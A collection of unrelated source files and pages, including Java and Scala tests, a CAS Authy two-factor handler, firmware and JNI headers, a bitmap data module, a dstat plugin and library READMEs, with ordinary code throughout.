<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http: <html xmlns="http: <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Overview: module code &mdash; interactivespaces documentation</title> <link rel="stylesheet" href="../_static/default.css" type="text/css" /> <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> <script type="text/javascript"> var <API key> = { URL_ROOT: '../', VERSION: '', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <link rel="top" title="interactivespaces documentation" href="../index.html" /> </head> <body> <div class="related"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li><a href="../index.html">interactivespaces documentation</a> &raquo;</li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body"> <h1>All modules for which code is available</h1> <ul><li><a href="interactivespaces.html">interactivespaces</a></li> <ul><li><a href="interactivespaces/abstract.html">interactivespaces.abstract</a></li> <li><a href="interactivespaces/activity.html">interactivespaces.activity</a></li> <li><a href="interactivespaces/exception.html">interactivespaces.exception</a></li> <li><a href="interactivespaces/helper.html">interactivespaces.helper</a></li> <li><a href="interactivespaces/live_activity.html">interactivespaces.live_activity</a></li> <li><a href="interactivespaces/live_activity_group.html">interactivespaces.live_activity_group</a></li> <li><a href="interactivespaces/master.html">interactivespaces.master</a></li> <li><a href="interactivespaces/misc.html">interactivespaces.misc</a></li> <li><a href="interactivespaces/mixin.html">interactivespaces.mixin</a></li> <li><a href="interactivespaces/named_script.html">interactivespaces.named_script</a></li> <li><a href="interactivespaces/serializer.html">interactivespaces.serializer</a></li> <li><a href="interactivespaces/space.html">interactivespaces.space</a></li> <li><a href="interactivespaces/space_controller.html">interactivespaces.space_controller</a></li> </ul></ul> </div> </div> </div> <div class="sphinxsidebar"> <div class="<API key>"> <div id="searchbox" style="display: none"> <h3>Quick search</h3> <form class="search" action="../search.html" method="get"> <input type="text" name="q" /> <input type="submit" value="Go" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> <p class="searchtip" style="font-size: 90%"> Enter search terms or a module, class or function name. </p> </div> <script type="text/javascript">$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li><a href="../index.html">interactivespaces documentation</a> &raquo;</li> </ul> </div> <div class="footer"> &copy; Copyright 2014, Author. Created using <a href="http://sphinx-doc.org/">Sphinx</a> 1.2.3. </div> </body> </html>
package io.opentelemetry.api; import static org.assertj.core.api.Assertions.assertThat; import static org.assertj.core.api.Assertions.assertThatThrownBy; import static org.mockito.Mockito.mock; import io.opentelemetry.api.metrics.MeterProvider; import io.opentelemetry.api.trace.TracerProvider; import io.opentelemetry.context.propagation.ContextPropagators; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.Test; class OpenTelemetryTest { @BeforeAll static void beforeClass() { GlobalOpenTelemetry.resetForTest(); } @AfterEach void after() { GlobalOpenTelemetry.resetForTest(); } @Test void testDefault() { assertThat(OpenTelemetry.noop().getTracerProvider()).isSameAs(TracerProvider.noop()); assertThat(OpenTelemetry.noop().getPropagators()).isSameAs(ContextPropagators.noop()); assertThat(OpenTelemetry.noop().getMeterProvider()).isSameAs(MeterProvider.noop()); } @Test void propagating() { ContextPropagators contextPropagators = mock(ContextPropagators.class); OpenTelemetry openTelemetry = OpenTelemetry.propagating(contextPropagators); assertThat(openTelemetry.getTracerProvider()).isSameAs(TracerProvider.noop()); assertThat(openTelemetry.getMeterProvider()).isSameAs(MeterProvider.noop()); assertThat(openTelemetry.getPropagators()).isSameAs(contextPropagators); } @Test void testGlobalBeforeSet() { assertThat(GlobalOpenTelemetry.getTracerProvider()).isSameAs(TracerProvider.noop()); assertThat(GlobalOpenTelemetry.getTracerProvider()) .isSameAs(GlobalOpenTelemetry.getTracerProvider()); assertThat(GlobalOpenTelemetry.getPropagators()).isSameAs(GlobalOpenTelemetry.getPropagators()); } @Test void <API key>() { ContextPropagators propagators1 = mock(ContextPropagators.class); OpenTelemetry otel1 = OpenTelemetry.propagating(propagators1); ContextPropagators propagators2 = mock(ContextPropagators.class); OpenTelemetry otel2 = OpenTelemetry.propagating(propagators2); assertThat(otel1.getPropagators()).isSameAs(propagators1); assertThat(otel2.getPropagators()).isSameAs(propagators2); } @Test void setThenSet() { setOpenTelemetry(); assertThatThrownBy(() -> GlobalOpenTelemetry.set(OpenTelemetry.noop())) .isInstanceOf(<API key>.class) .<API key>("GlobalOpenTelemetry.set has already been called") .<API key>("setOpenTelemetry"); } @Test void getThenSet() { assertThat(getOpenTelemetry()).isInstanceOf(<API key>.class); assertThatThrownBy(() -> GlobalOpenTelemetry.set(OpenTelemetry.noop())) .isInstanceOf(<API key>.class) .<API key>("GlobalOpenTelemetry.set has already been called") .<API key>("getOpenTelemetry"); } private static void setOpenTelemetry() { GlobalOpenTelemetry.set(OpenTelemetry.noop()); } private static OpenTelemetry getOpenTelemetry() { return GlobalOpenTelemetry.get(); } }
# Java JEE7 Reference Architecture [![Build Status](https: ========================== ## Reference Architecture for JavaEE 7 ##
package implementations.test; public class UserType { private int x; private int y; public UserType(int x, int y){ this.x = x; this.y = y; } public int getX(){ return x; } public int getY(){ return y; } }
package com.drop.spper.mvp.model; import com.drop.spper.mvp.contract.HotContract; import com.drop.spper.mvp.model.api.service.DouBanService; import com.drop.spper.mvp.model.entity.HotMovieBean; import com.jess.arms.di.scope.FragmentScope; import com.jess.arms.integration.IRepositoryManager; import com.jess.arms.mvp.BaseModel; import javax.inject.Inject; import io.reactivex.Observable; @FragmentScope public class HotModel extends BaseModel implements HotContract.Model { private static final int COUNT = 10; @Inject public HotModel(IRepositoryManager repositoryManager) { super(repositoryManager); } @Override public Observable<HotMovieBean> getHot(int start, boolean updata) { Observable<HotMovieBean> observable = mRepositoryManager .<API key>(DouBanService.class) .getMovieTop250(start, COUNT); return observable; } }
#ifndef DEVICEHANDLER_H_ #define DEVICEHANDLER_H_ #include <stdint.h> #include "W7500x_board.h" #include "storageHandler.h" /* Debug message enable */ //#define _FWUP_DEBUG_ /* Application Port */ #define DEVICE_SEGCP_PORT 50001 // Search / Setting Port (UDP Broadcast / TCP unicast) #define DEVICE_FWUP_PORT 50002 // Firmware Update Port #define DEVICE_DDNS_PORT 3030 // Not used // HTTP Response: Status code #define STATUS_HTTP_OK 200 /* W7500S2E Application flash memory map */ #define DEVICE_BOOT_SIZE (28*1024) #ifdef <API key> #define DEVICE_APP_SIZE (50*1024) #else #define DEVICE_APP_SIZE (100*1024) #endif #define DEVICE_BOOT_ADDR (FLASH_START_ADDR) // Boot: 28kB #define DEVICE_BOOT_BLOCKS (7) //#define <API key> (DEVICE_BOOT_ADDR + (BLOCK_SIZE * DEVICE_BOOT_BLOCKS)) // App main: 50kB // #define <API key> (0x7000) #define <API key> (DEVICE_BOOT_ADDR + DEVICE_BOOT_SIZE) #define <API key> (12) #define <API key> (8) //#define <API key> (<API key> + (BLOCK_SIZE * <API key>) + (SECT_SIZE * <API key>)) // App backup: 50kB // #define <API key> (0x13800) #define <API key> (<API key> + DEVICE_APP_SIZE) #define <API key> (12) #define <API key> (8) #define DEVICE_MAC_ADDR (DAT0_START_ADDR) #define DEVICE_CONFIG_ADDR (DAT1_START_ADDR) /* Defines for firmware update */ #define DEVICE_FWUP_SIZE DEVICE_APP_SIZE // Firmware size - 50kB MAX #define DEVICE_FWUP_TIMEOUT 5000 // 5 secs. #define <API key> 0x80 #define <API key> 0x40 #define <API key> 0x20 #define <API key> 0x00 void <API key>(void); void <API key>(void); void device_reboot(void); uint8_t <API key>(teDATASTORAGE stype); // Firmware update by Configuration tool / Flash to Flash //uint8_t <API key>(teDATASTORAGE stype); // Firmware update by HTTP server // function for timer void device_timer_msec(void); //void <API key>(void); // fw_from_network time counter; //uint16_t <API key>(void); #endif /* DEVICEHANDLER_H_ */
/* DO NOT EDIT THIS FILE - it is machine generated */ #include <jni.h> /* Header for class <API key> */ #ifndef <API key> #define <API key> #ifdef __cplusplus extern "C" { #endif /* * Class: <API key> * Method: <API key> * Signature: (ZZ)I */ JNIEXPORT jint JNICALL Java_andraus_bluetoothhidemu_spoof_jni_BluetoothSocketJni_createL2capFileDescriptor (JNIEnv *, jclass, jboolean, jboolean); /* * Class: <API key> * Method: <API key> * Signature: ()[I */ JNIEXPORT jintArray JNICALL Java_andraus_bluetoothhidemu_spoof_jni_BluetoothSocketJni_readBluetoothDeviceClass (JNIEnv *, jclass); #ifdef __cplusplus } #endif #endif
package org.apereo.cas.adaptors.authy; import com.authy.api.Token; import com.authy.api.User; import com.google.common.collect.Lists; import org.apereo.cas.authentication.Credential; import org.apereo.cas.authentication.HandlerResult; import org.apereo.cas.authentication.PreventedException; import org.apereo.cas.authentication.handler.support.<API key><API key>; import org.apereo.cas.authentication.principal.Principal; import org.apereo.cas.web.support.WebUtils; import org.springframework.webflow.execution.RequestContext; import org.springframework.webflow.execution.<API key>; import javax.security.auth.login.<API key>; import java.security.<API key>; import java.util.HashMap; import java.util.Map; /** * Authy authentication handler for CAS. * * @author Misagh Moayyed * @since 5.0 */ public class <API key> extends <API key><API key> { private Boolean forceVerification = Boolean.FALSE; private final AuthyClientInstance instance; public <API key>(final AuthyClientInstance instance) { this.instance = instance; } @Override protected HandlerResult doAuthentication(final Credential credential) throws <API key>, PreventedException { final <API key> tokenCredential = (<API key>) credential; final RequestContext context = <API key>.getRequestContext(); final Principal principal = WebUtils.getAuthentication(context).getPrincipal(); final User user = instance.getOrCreateUser(principal); if (!user.isOk()) { throw new <API key>(AuthyClientInstance.getErrorMessage(user.getError())); } final Integer authyId = user.getId(); final Map<String, String> options = new HashMap<>(); options.put("force", this.forceVerification.toString()); final Token verification = this.instance.getAuthyTokens().verify(authyId, tokenCredential.getToken(), options); if (!verification.isOk()) { throw new <API key>(AuthyClientInstance.getErrorMessage(verification.getError())); } return createHandlerResult(tokenCredential, principal, Lists.newArrayList()); } public void <API key>(final Boolean forceVerification) { this.forceVerification = forceVerification; } @Override public boolean supports(final Credential credential) { return <API key>.class.isAssignableFrom(credential.getClass()); } }
' ' This file is generated at http: ' Original filename: netduino.bmp ' Orientation: column-major order ' Bit order: Most significant bit ' Inverted: no ' Timestamp: 2012-12-24 17:12:36 ' Namespace Bitmaps ''' <summary> ''' netduino.bmp bitmap data ''' </summary> Public Module netduino_bmp ''' <summary>Bitmap width</summary> Public Width As Integer = 168 ''' <summary>Bitmap height</summary> Public Height As Integer = 40 ''' <summary>Bitmap data</summary> Public Data() As Byte = {&H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H3F, &HFF, &HC0, &H0, &H0, &HFF, &HFF, &HC0, &H0, &H1, &HFF, &HFF, &HC0, &H0, &H3, &HFF, &HFF, &HC0, &H0, &H3, &HF0, &H0, &H0, &H0, &H7, &HC0, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H7, &HC0, &H0, &H0, &H0, &H7, &HE0, &H0, &H0, &H0, &H3, &HFF, &HFF, &H80, &H0, &H3, &HFF, &HFF, &HC0, &H0, &H1, &HFF, &HFF, &HC0, &H0, &H0, &HFF, &HFF, &HC0, &H0, &H0, &H1F, &HFF, &HC0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H3F, &HF0, &H0, &H0, &H0, &H7F, &HFC, &H0, &H0, &H0, &HFF, &HFE, &H0, &H0, &H1, &HFF, &HFF, &H0, &H0, &H3, &HF8, &H3F, &H80, &H0, &H3, &HE1, &HCF, &H80, &H0, &H7, &HC1, &HE7, &HC0, &H0, &H7, &H83, &HE7, &HC0, &H0, &H7, &H83, &HC3, &HC0, &H0, &H7, &H87, &HC3, &HC0, &H0, &H7, &H8F, &H83, &HC0, &H0, &H7, &H8F, &H83, &HC0, &H0, &H7, &H9F, &H3, &HC0, &H0, &H7, &HDE, &H7, &HC0, &H0, &H7, &HFE, &H7, &HC0, &H0, &H3, &HFC, &HF, &H80, &H0, &H3, &HFC, &H3F, &H80, &H0, &H1, &HF8, &HFF, &H0, &H0, &H0, &HF8, &HFE, &H0, &H0, &H0, &H70, &HFC, &H0, &H0, &H0, &H0, &HF0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &HFF, &HFF, &HF8, &H0, &H0, &HFF, &HFF, &HFE, &H0, &H0, &HFF, &HFF, &HFF, &H0, &H0, &HFF, &HFF, &HFF, &H80, &H0, &HFF, &HFF, &HFF, &HC0, &H0, &H7, &H80, &H7, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H3F, &HF0, &H0, &H0, &H0, &H7F, &HFC, &H0, &H0, &H0, &HFF, &HFE, &H0, &H0, &H1, &HF8, &H7F, &H0, &H0, &H3, &HE0, &HF, &H80, &H0, &H3, &HC0, &H7, &H80, &H0, &H7, &H80, &H7, &H80, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H3, &H80, &H7, &H80, &H0, &H3, &HC0, &HF, &H80, &H0, &H0, &H0, &H1F, &H80, &H7, &HFC, &H3F, &HFF, &H0, &HF, &HFF, &HFF, &HFE, &H0, &HF, &HFF, &HFF, &HFC, &H0, &HF, &HFF, &HFF, &HF0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H7, &HFF, &HF8, &H0, &H0, &H7, &HFF, &HFE, &H0, &H0, &H7, &HFF, &HFF, &H0, &H0, &H7, &HFF, &HFF, &H0, &H0, &H0, &H0, &HF, &H80, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H3, &HC0, &H0, &H0, &H0, &H3, &HC0, &H0, &H0, &H0, &H3, &HC0, &H0, &H0, &H0, &H3, &HC0, &H0, &H0, &H0, &H3, &HC0, &H0, &H0, &H0, &H7, &HC0, &H0, &H0, &H0, &HF, &H80, &H0, &H0, &H0, &H3F, &H80, &H0, &H7, &HFF, &HFF, &H0, &H0, &H7, &HFF, &HFE, &H0, &H0, &H7, &HFF, &HFC, &H0, &H0, &H3, &HFF, &HC0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H1, &HC7, &HFF, &HFF, &H80, &H1, &HE7, &HFF, &HFF, &HC0, &H3, &HE7, &HFF, &HFF, &HC0, &H1, &HE7, &HFF, &HFF, &HC0, &H0, &HC0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H3F, &HFF, &HC0, &H0, &H0, &HFF, &HFF, &HC0, &H0, &H1, &HFF, &HFF, &HC0, &H0, &H3, &HFF, &HFF, &H80, &H0, &H3, &HE0, &H0, &H0, &H0, &H7, &HC0, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H7, &H80, &H0, &H0, &H0, &H3, &HC0, &H0, &H0, &H0, &H3, &HF0, &H0, &H0, &H0, &H1, &HFF, &HFF, &HC0, &H0, &H0, &HFF, &HFF, &HC0, &H0, &H0, &H7F, &HFF, &HC0, &H0, &H0, &HF, &HFF, &H80, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H1F, &HF0, &H0, &H0, &H0, &H7F, &HFC, &H0, &H0, &H0, &HFF, &HFE, &H0, &H0, &H1, &HFF, &HFF, &H0, &H0, &H3, &HF0, &H1F, &H0, &H0, &H3, &HE0, &HF, &H80, &H0, &H7, &HC0, &H7, &H80, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H0, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H7, &H80, &H3, &HC0, &H0, &H3, &HC0, &H7, &H80, &H0, &H3, &HE0, &HF, &H80, &H0, &H1, &HF8, &H3F, &H0, &H0, &H1, &HFF, &HFE, &H0, &H0, &H0, &HFF, &HFC, &H0, &H0, &H0, &H3F, &HF8, &H0, &H0, &H0, &HF, &HE0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0, &H0 } End Module End Namespace
package mesosphere.marathon import akka.actor.{ ActorRef, ActorSystem, Props } import akka.testkit.{ ImplicitSender, TestActorRef, TestKit, TestProbe } import akka.util.Timeout import com.fasterxml.jackson.databind.ObjectMapper import mesosphere.marathon.<API key>._ import mesosphere.marathon.Protos.MarathonTask import mesosphere.marathon.event.{ <API key>, DeploymentSuccess, UpgradeEvent } import mesosphere.marathon.health.HealthCheckManager import mesosphere.marathon.io.storage.StorageProvider import mesosphere.marathon.state.PathId._ import mesosphere.marathon.state._ import mesosphere.marathon.tasks.{ TaskIdUtil, TaskQueue, TaskTracker } import mesosphere.marathon.upgrade.{ DeploymentStep, StopApplication, DeploymentPlan } import mesosphere.mesos.protos.Implicits._ import mesosphere.mesos.protos.TaskID import mesosphere.mesos.util.FrameworkIdUtil import org.apache.mesos.Protos.Status import org.apache.mesos.SchedulerDriver import org.mockito.Mockito._ import org.mockito.Matchers.any import org.mockito.invocation.InvocationOnMock import org.mockito.stubbing.Answer import org.scalatest.{ BeforeAndAfterAll, Matchers } import scala.collection.immutable.Seq import scala.collection.mutable import scala.concurrent.Future import scala.concurrent.duration._ class <API key> extends TestKit(ActorSystem("System")) with MarathonSpec with BeforeAndAfterAll with Matchers with ImplicitSender { var repo: AppRepository = _ var deploymentRepo: <API key> = _ var hcManager: HealthCheckManager = _ var tracker: TaskTracker = _ var queue: TaskQueue = _ var frameworkIdUtil: FrameworkIdUtil = _ var schedulerActor: ActorRef = _ var driver: SchedulerDriver = _ var taskIdUtil: TaskIdUtil = _ var storage: StorageProvider = _ var <API key>: <API key> = _ implicit val defaultTimeout: Timeout = 5.seconds before { driver = mock[SchedulerDriver] <API key>.driver = Some(driver) repo = mock[AppRepository] deploymentRepo = mock[<API key>] hcManager = mock[HealthCheckManager] tracker = mock[TaskTracker] queue = spy(new TaskQueue) frameworkIdUtil = mock[FrameworkIdUtil] taskIdUtil = new TaskIdUtil storage = mock[StorageProvider] <API key> = mock[<API key>] when(deploymentRepo.store(any())).thenAnswer(new Answer[Future[DeploymentPlan]] { override def answer(p1: InvocationOnMock): Future[DeploymentPlan] = { Future.successful(p1.getArguments()(0).asInstanceOf[DeploymentPlan]) } }) when(deploymentRepo.expunge(any())).thenReturn(Future.successful(Seq(true))) when(deploymentRepo.all()).thenReturn(Future.successful(Nil)) when(repo.apps()).thenReturn(Future.successful(Nil)) schedulerActor = system.actorOf(Props( classOf[<API key>], new ObjectMapper(), repo, deploymentRepo, hcManager, tracker, queue, frameworkIdUtil, taskIdUtil, storage, system.eventStream, <API key>, mock[MarathonConf] )) } after { watch(schedulerActor) system.stop(schedulerActor) expectTerminated(schedulerActor, 5.seconds) } override def afterAll(): Unit = { system.shutdown() } test("ReconcileTasks") { val app = AppDefinition(id = "test-app".toPath, instances = 1) val tasks = Set(MarathonTask.newBuilder().setId("task_a").build()) when(repo.allPathIds()).thenReturn(Future.successful(Seq(app.id))) when(tracker.get(app.id)).thenReturn(Set.empty[MarathonTask]) when(tracker.list).thenReturn( mutable.HashMap( PathId("nope") -> new TaskTracker.App( "nope".toPath, tasks, false))) when(tracker.get("nope".toPath)).thenReturn(tasks) when(repo.currentVersion(app.id)).thenReturn(Future.successful(Some(app))) when(tracker.count(app.id)).thenReturn(0) schedulerActor ! ReconcileTasks expectMsg(5.seconds, TasksReconciled) awaitAssert({ verify(tracker).shutdown("nope".toPath) verify(queue).add(app) verify(driver).killTask(TaskID("task_a")) }, 5.seconds, 10.millis) } test("ScaleApp") { val app = AppDefinition(id = "test-app".toPath, instances = 1) when(repo.allIds()).thenReturn(Future.successful(Seq(app.id.toString))) when(tracker.get(app.id)).thenReturn(Set.empty[MarathonTask]) when(repo.currentVersion(app.id)).thenReturn(Future.successful(Some(app))) when(tracker.count(app.id)).thenReturn(0) schedulerActor ! ScaleApp("test-app".toPath) awaitAssert({ verify(queue).add(app) }, 5.seconds, 10.millis) expectMsg(5.seconds, AppScaled(app.id)) } test("Kill tasks with scaling") { val app = AppDefinition(id = "test-app".toPath, instances = 1) val taskA = MarathonTask.newBuilder().setId("taskA_id").build() when(repo.allIds()).thenReturn(Future.successful(Seq(app.id.toString))) when(tracker.get(app.id)).thenReturn(Set[MarathonTask](taskA)) when(tracker.fetchTask(app.id, taskA.getId)) .thenReturn(Some(taskA)) .thenReturn(None) when(repo.currentVersion(app.id)) .thenReturn(Future.successful(Some(app))) .thenReturn(Future.successful(Some(app.copy(instances = 0)))) when(tracker.count(app.id)).thenReturn(0) when(repo.store(any())).thenReturn(Future.successful(app)) val statusUpdateEvent = <API key>("", taskA.getId, "TASK_FAILED", "", app.id, "", Nil, app.version.toString) when(driver.killTask(TaskID(taskA.getId))).thenAnswer(new Answer[Status] { def answer(invocation: InvocationOnMock): Status = { system.eventStream.publish(statusUpdateEvent) Status.DRIVER_RUNNING } }) schedulerActor ! KillTasks(app.id, Set(taskA.getId), scale = true) schedulerActor ! KillTasks(app.id, Set(taskA.getId), scale = true) expectMsg(5.seconds, TasksKilled(app.id, Set(taskA.getId))) expectMsg(5.seconds, TasksKilled(app.id, Set(taskA.getId))) schedulerActor ! KillTasks(app.id, Set(taskA.getId), scale = true) expectMsg(5.seconds, TasksKilled(app.id, Set(taskA.getId))) val Some(taskFailureEvent) = TaskFailure.<API key>(statusUpdateEvent) verify(<API key>, times(1)).store(app.id, taskFailureEvent) verify(repo, times(3)).store(app.copy(instances = 0)) } test("Deployment") { val probe = TestProbe() val app = AppDefinition(id = PathId("app1"), cmd = Some("cmd"), instances = 2, upgradeStrategy = UpgradeStrategy(0.5), version = Timestamp(0)) val origGroup = Group(PathId("/foo/bar"), Set(app)) val appNew = app.copy(cmd = Some("cmd new"), version = Timestamp(1000)) val targetGroup = Group(PathId("/foo/bar"), Set(appNew)) val plan = DeploymentPlan("foo", origGroup, targetGroup, Nil, Timestamp.now()) system.eventStream.subscribe(probe.ref, classOf[UpgradeEvent]) schedulerActor ! Deploy(plan) expectMsg(DeploymentStarted(plan)) val answer = probe.expectMsgType[DeploymentSuccess] answer.id should be(plan.id) system.eventStream.unsubscribe(probe.ref) } test("Deployment resets rate limiter for affected apps") { val probe = TestProbe() val app = AppDefinition(id = PathId("app1"), cmd = Some("cmd"), instances = 2, upgradeStrategy = UpgradeStrategy(0.5), version = Timestamp(0)) val origGroup = Group(PathId("/foo/bar"), Set(app)) val appNew = app.copy(cmd = Some("cmd new"), version = Timestamp(1000)) val targetGroup = Group(PathId("/foo/bar"), Set(appNew)) val plan = DeploymentPlan("foo", origGroup, targetGroup, List(DeploymentStep(List(StopApplication(app)))), Timestamp.now()) system.eventStream.subscribe(probe.ref, classOf[UpgradeEvent]) queue.rateLimiter.addDelay(app) schedulerActor ! Deploy(plan) expectMsg(DeploymentStarted(plan)) awaitCond(queue.rateLimiter.getDelay(app).isOverdue(), 200.millis) system.eventStream.unsubscribe(probe.ref) } test("Deployment fail to acquire lock") { val app = AppDefinition(id = PathId("app1"), cmd = Some("cmd"), instances = 2, upgradeStrategy = UpgradeStrategy(0.5), version = Timestamp(0)) val group = Group(PathId("/foo/bar"), Set(app)) val plan = DeploymentPlan(Group.empty, group) when(repo.store(any())).thenReturn(Future.successful(app)) when(repo.currentVersion(app.id)).thenReturn(Future.successful(None)) when(tracker.get(app.id)).thenReturn(Set.empty[MarathonTask]) when(repo.expunge(app.id)).thenReturn(Future.successful(Nil)) schedulerActor ! Deploy(plan) expectMsgType[DeploymentStarted] schedulerActor ! Deploy(plan) val answer = expectMsgType[CommandFailed] answer.cmd should equal(Deploy(plan)) answer.reason.isInstanceOf[AppLockedException] should be(true) } test("Restart deployments after failover") { val app = AppDefinition(id = PathId("app1"), cmd = Some("cmd"), instances = 2, upgradeStrategy = UpgradeStrategy(0.5), version = Timestamp(0)) val group = Group(PathId("/foo/bar"), Set(app)) val plan = DeploymentPlan(Group.empty, group) deploymentRepo = mock[<API key>] when(deploymentRepo.expunge(any())).thenReturn(Future.successful(Seq(true))) when(deploymentRepo.all()).thenReturn(Future.successful(Seq(plan))) schedulerActor = system.actorOf(Props( classOf[<API key>], new ObjectMapper(), repo, deploymentRepo, hcManager, tracker, queue, frameworkIdUtil, taskIdUtil, storage, system.eventStream, <API key>, mock[MarathonConf] )) schedulerActor ! Deploy(plan) // This indicates that the deployment is already running, // which means it has successfully been restarted val answer = expectMsgType[CommandFailed] answer.cmd should equal(Deploy(plan)) answer.reason.isInstanceOf[AppLockedException] should be(true) } }
class dstat_plugin(dstat): def __init__(self): self.name = 'snooze' self.vars = ('snooze',) self.type = 's' self.width = 6 self.scale = 0 self.before = time.time() def extract(self): now = time.time() if loop != 0: self.val['snooze'] = now - self.before else: self.val['snooze'] = self.before if step == op.delay: self.before = now def show(self): if self.val['snooze'] > step + 1: return ansi['default'] + ' -' color = 'white' if step != op.delay: color = 'gray' snoze, c = fchg(self.val['snooze'], 6, 1000) return ansi[color] + snoze
package com.wandrell.tabletop.pendragon.model.chargen.background; import static com.google.common.base.Preconditions.checkNotNull; import java.util.Map; import com.google.common.base.MoreObjects; import com.google.common.base.Objects; import com.wandrell.tabletop.interval.<API key>; import com.wandrell.tabletop.interval.Interval; import com.wandrell.tabletop.interval.IntervalTable; public final class <API key> implements <API key> { private final String name; private final IntervalTable<<API key>> table; public <API key>( final <API key> characteristic) { super(); checkNotNull(characteristic, "Received a null pointer as family characteristic"); name = characteristic.name; table = characteristic.table.createNewInstance(); } public <API key>(final String name, final Map<Interval, <API key>> intervals) { super(); checkNotNull(name, "Received a null pointer as name"); checkNotNull(intervals, "Received a null pointer as intervals"); this.name = name; table = new <API key><<API key>>( intervals); } @Override public final <API key> createNewInstance() { return new <API key>(this); } @Override public final boolean equals(final Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; <API key> other = (<API key>) obj; return Objects.equal(name, other.name); } @Override public final Map<Interval, <API key>> getIntervals() { return getIntervalTable().getIntervals(); } @Override public final Integer getLowerLimit() { return getIntervalTable().getLowerLimit(); } @Override public final String getName() { return name; } @Override public final Integer getUpperLimit() { return getIntervalTable().getUpperLimit(); } @Override public final <API key> getValue(final Integer number) { return getIntervalTable().getValue(number); } @Override public final int hashCode() { return Objects.hashCode(name); } @Override public final String toString() { return MoreObjects.toStringHelper(this).add("name", name).toString(); } private final IntervalTable<<API key>> getIntervalTable() { return table; } }
package org.latlab.util; /** * A pair that is half comparable, i.e., only the first item is comparable. * @author leonard * * @param <T1> type of first item * @param <T2> type of second item */ public class HalfComparablePair<T1 extends Comparable<T1>, T2> extends Pair<T1, T2> implements Comparable<Pair<T1,T2>> { public HalfComparablePair() { this(null, null); } public HalfComparablePair(T1 o1, T2 o2) { super(o1, o2); } public int compareTo(Pair<T1, T2> o) { return first.compareTo(o.first); } }
##Installation## The Arduino IDE has a built-in function for installing libraries. Download the library as a zip file and extract it. Rename the resulting '<API key>' folder to 'CommonSense'. Go to **Sketch > Import Library... > Add Library...** and select the folder containing the library. If you're not using the Arduino Development Environment make sure the files are in a folder named 'CommonSense' and place the folder in your libraries folder. ##Reference Documentation## Have a look at the [library documentation](http://<API key>.github.com/<API key>/) for more information. The API methods available to developers can be found on the [CommonSense Developers Pages](http: ##Examples## Sketch examples are included with this library. You can select one from **File > Examples > CommonSense**. ##Usage## A tutorial is available at the [CommonSense Developer Portal](http://developer.sense-os.nl/Devices/arduino/). Licensed under the [Apache License, Version 2.0](http:
